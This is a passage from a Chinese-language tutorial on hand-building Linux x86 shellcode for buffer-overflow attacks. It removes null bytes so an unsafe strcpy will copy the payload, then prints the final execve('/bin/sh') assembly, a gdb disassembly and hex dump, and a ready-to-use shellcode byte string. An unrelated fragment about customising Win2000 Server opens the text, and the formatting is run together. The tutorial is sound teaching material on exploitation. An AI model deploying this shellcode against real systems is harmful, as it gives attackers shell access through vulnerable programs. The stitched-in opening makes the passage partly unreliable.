内容提要:一、定制自己的WIN2000 SERVER: 1.版本的选择:Win2000有各种语言的版本,对于我们来说,可以选择英文版或简体中文版,我强烈建议:在语言不成为障碍的情况下,请一定使用英文版。要知道,微软的产品是以Bu …… |
14 通过gdb中的x命令查看图12中的代码在内存中对应的数据
从jmp指令的起始地址0x80482c7到call指令的结束地址0x80482f8,一共49个字节。起始地址为0x80482f8的8个字节的内存单元中实际存放的是字符串"/bin/sh",因此我们在那里看到了几条奇怪的指令。至此,我们的shellcode已经初具雏形了,但是还有几处需要改进。首先,将来我们要通过strcpy(3)这种存在安全隐患的函数将上面的代码拷贝到某个内存缓冲区中,而strcpy(3)在遇到内容为''\\0''的字节时就会停止拷贝。然而从图14中可以看到,我们的代码中有很多这样的''\\0''字节,因此需要将它们全部去掉。另外,某些指令的长度可以缩减,以使得我们的shellcode更加精简。按照图15所列的改进方案,我们便得到了图16中最终的shellcode。
存在问题的指令 改进后的指令movb $0x0,0x7(%esi) xorl %eax,%eaxmolv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi)movl $0xb,%eax movb $0xb,%almovl $0x1, %eax xorl %ebx,%ebxmovl $0x0, %ebx movl %ebx,%eax inc %eax
|
图15 shellcode的改进方案
void main(){__asm__("jmp 1f2:popl %esimovl %esi,0x8(%esi)xorl %eax,%eaxmovb %eax,0x7(%esi)movl %eax,0xc(%esi)movb $0xb,%almovl %esi,%ebxleal 0x8(%esi),%ecxleal 0xc(%esi),%edxint $0x80xorl %ebx,%ebxmovl %ebx,%eaxinc %eaxint $0x801:call 2b.string \\"/bin/sh\\"");}
|
图16 最终的shellcode汇编程序shellcodeasm2.c
同样,按照上面的方法再次查看内存中的shellcode代码,如图16所示。我们在图16中再次列出了图1 用到过的shellcode,有兴趣的读者不妨比较一下。
$ gdb shellcodeasm2(gdb) disassemble mainDump of assembler code for function main:0x80482c4 <main>: push %ebp0x80482c5 <main+1>: mov %esp,%ebp0x80482c7 <main+3>: jmp 0x80482e8 <main+36>0x80482c9 <main+5>: pop %esi0x80482ca <main+6>: mov %esi,0x8(%esi)0x80482cd <main+9>: xor %eax,%eax0x80482cf <main+11>: mov %al,0x7(%esi)0x80482d2 <main+14>: mov %eax,0xc(%esi)0x80482d5 <main+17>: mov $0xb,%al0x80482d7 <main+19>: mov %esi,%ebx0x80482d9 <main+21>: lea 0x8(%esi),%ecx0x80482dc <main+24>: lea 0xc(%esi),%edx0x80482df <main+27>: int $0x800x80482e1 <main+29>: xor %ebx,%ebx0x80482e3 <main+31>: mov %ebx,%eax0x80482e5 <main+33>: inc %eax0x80482e6 <main+34>: int $0x800x80482e8 <main+36>: call 0x80482c9 <main+5>0x80482ed <main+41>: das0x80482ee <main+42>: bound %ebp,0x6e(%ecx)0x80482f1 <main+45>: das0x80482f2 <main+46>: jae 0x804835c0x80482f4 <main+48>: add %cl,%cl0x80482f6 <main+50>: ret0x80482f7 <main+51>: nopEnd of assembler dump.(gdb) x /38xb 0x80482c70x80482c7 <main+3>:0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc00x80482cf <main+11>:0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b0x80482d7 <main+19>:0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c0x80482df <main+27>:0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd0x80482e7 <main+35>:0x80 0xe8 0xdc 0xff 0xff 0xffchar shellcode[] ="\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46
\\x0c\\xb0\\x0b""\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89
\\xd8\\x40\\xcd""\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
|
图